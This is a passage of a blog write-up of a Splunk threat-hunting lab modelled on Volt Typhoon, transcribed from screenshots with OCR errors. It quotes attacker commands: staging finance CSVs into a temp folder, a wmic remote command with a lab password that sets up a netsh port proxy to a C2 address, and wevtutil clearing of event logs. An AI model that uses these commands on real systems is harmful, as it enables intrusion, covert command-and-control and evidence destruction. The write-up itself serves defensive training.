& events (before 12/14/25 3:15:43.000 AM)

Events(4)  Patterns  Statistics
Format Timeline ~ — Zoom Out
< Hide Fields i= All Fields

SELECTED FIELDS
ahost 1

a source 1

a sourcetype 1

INTERESTING FIELDS
@ CommandLine 2
# date_hour 1

# date_mday 1

# date_minute 3

a date_month 1

# date_second 4

a date_wday 1

# date_year 1

a date_zone 1

# DetailSequence 1
# DetailTotal 1

a EngineVersion 1
a HostApplication 1
a Hostld 1

a HostName 1

a HostVersion 1
aindex 1

# linecount 1

# Pipelineld 1

a punct 2

@ Runspaceld 1

# SequenceNumber 4

Visualization

Listv  / Format

i Time

> 302724
11:42:48.000 PM

> 312724

1:51:55.000 PM

> 312724
11:52:15.000 PM

No Event Sampling v

50 Per Page ~

Event

03/27/2024 23:42:48 PM PowerShell 800

. 14 lines omitted ...
ScriptName=

Pipeline Execution Details

CommandL ine=Get-ChildItem -Path "C:\ProgramData\FinanceBackup\"

Show all 19 lines

host = volthunter  source =

©3/27/2024 23:51:55 PM  PowerShell 800

-Destination "C:\Windows\Temp\faudit\2022.csv"

. 14 lines omitted ...
Scripthame=

CommandLine=Copy-Item -Path "C:\ProgramData\FinanceBackup\2022.csv" -Destination

Show all 19 lines

host = volthunter  source =

Pipeline Execution Details

03/27/2024 23:52:15 PM PowerShell 800
-Destination "C:\Windows\Temp\faudit\2023.csv"

14 lines omitted

Scripthame=

CommandL ine=Copy-Item -Path "C:\ProgramData\FinanceBackup\2823.csv" -Destination

Show all 19 lines

host = volthunter  source =

Pipeline Execution Details

Job v A @& 4 ¥ SmartMode~w

1minute per column

“Pipeline execution details for command line: Get-ChildItem -Path “C:\ProgramData\FinanceBackup\®

“"Pipeline execution details for command line: Copy-Item -Path "C:\ProgramData\FinanceBackup\2022.csv"

compromised financial data for 2022,

2023, and 2024.

"C:\Windows\Temp\faudit\2022. csv"

"Pipeline execution details for comand line: Copy-Item -Path °C:\Programdata\FinanceBackup)2023.csv”

"C:\Windows\Temp\faudit\2023. csv"

The events returned reveal sensitive financial data compromise to 2022.csv, 2023.csv, 2024.csv.

C2 Communications

13. The attacker uses netsh to create a proxy for C2 communications. What connect address and port does

the attacker use when setting up the proxy?

Using netsh as a keyword, we can identify 4 events containing netsh usage.
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i Time Event

> 3/29/24 03/29/2024 19:29:51 PM PowerShell 800 Pipeline Execution Details "Pipeline execution details for command line: netsh interface portproxy show all
7:29:51.000 PM

.. 14 lines omitted ...
ScriptName=
CommandLine=netsh interface portproxy show all

Show all 19 lines

host = volthunter  source = log ype =
v 3/29/24 2024-03-29T23:13:09 | dean-admin | server-@1-main | 192.168.1.184 | wmic /node: server-@1 /user: dean-admin /password: uNcr4cK4ble process call create “cmd.exe /c netsh interface portproxy a
11:13:09.000 PM dd vétov4 listenport=50108 list =0.0.0.0 t=8443 '€55=10.2.30.1” | executed | success |

Event Actions ¥

Type ¥ Field Value Actions
Selected v| host~ volthunter v

v/ source = Ihome/volthunter/logfilesiwmicupdated0221.Jog initial c2 setup via netsh to ip 10.2.30.1 v

/| sourcetype wmic over port 8443 v

Event action ¥ executed v

command ¥ wmic /node: server-01/user: dean-admin /password: uNcr4cK4ble process call create “cmd.exe /c netsh interface portproxy add vatov4 listenport=50100 listenaddress=0.0. v
0.0 connectport=8443 connectaddress=10.2.301"

connectaddress ¥ 10.2.301" v
connectport * 8443 v
ip_address v 1921681184 v
listenaddress ~ 0.0.0.0 v
listenport v 50100 v
result v success v
timestamp * 2024-03-29723:13:09 v
username ¥ dean-admin v

Time & _time ~ 2024-03-29723:13:09.000+00:00

Default index v main v
linecount v 1 v
punct ¥ i B I N B T T | = v
splunk_server v volthunter v

> 3/29/24 2024-93-29723:56:30 | dean-admin | server-81-main | 192.168.1.184 | wmic /node: server-@1 /user: dean-admin /password: uNcrdcKdble process call create “cmd.exe /¢ netsh interface portproxy d

11:56:30.000 PM elete v4tov4 listenport=5010@ listenaddress=0.0.0.0" | executed | success |

host = volthunter  source = 0221.log pe = wmic

One of the events contains the command:

wmic /node: server-01 /user: dean-admin /password: uNcr4cK4ble process call create “cmd.exe /
¢ netsh interface portproxy add v4tov4 listenport=50100 listenaddress=0.0.0.0 connectport=844
3 connectaddress=10.2.30.1"

So we can identify a C2 communication to IP address 10.2.30.1 over port 8443.

14. To conceal their activities, what are the four types of event logs the attacker clears on the compromised

system?

By reviewing the wevtutil utility usage, | was able to identify removal for the following types of logs: Application
Security Setup System.

Closing Thoughts

This was one of my favorite labs so far, it really engaged me and allowed me to create an attack timeline
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throughout my head and keep an idea on what the APT may be trying to do. Overall, this really helped me think
like a threat hunter and develop key skills through Splunk.

3’ hunts.dev
Originally published on hunts.dev

https://hunts.dev/blog/volt-typhoon/
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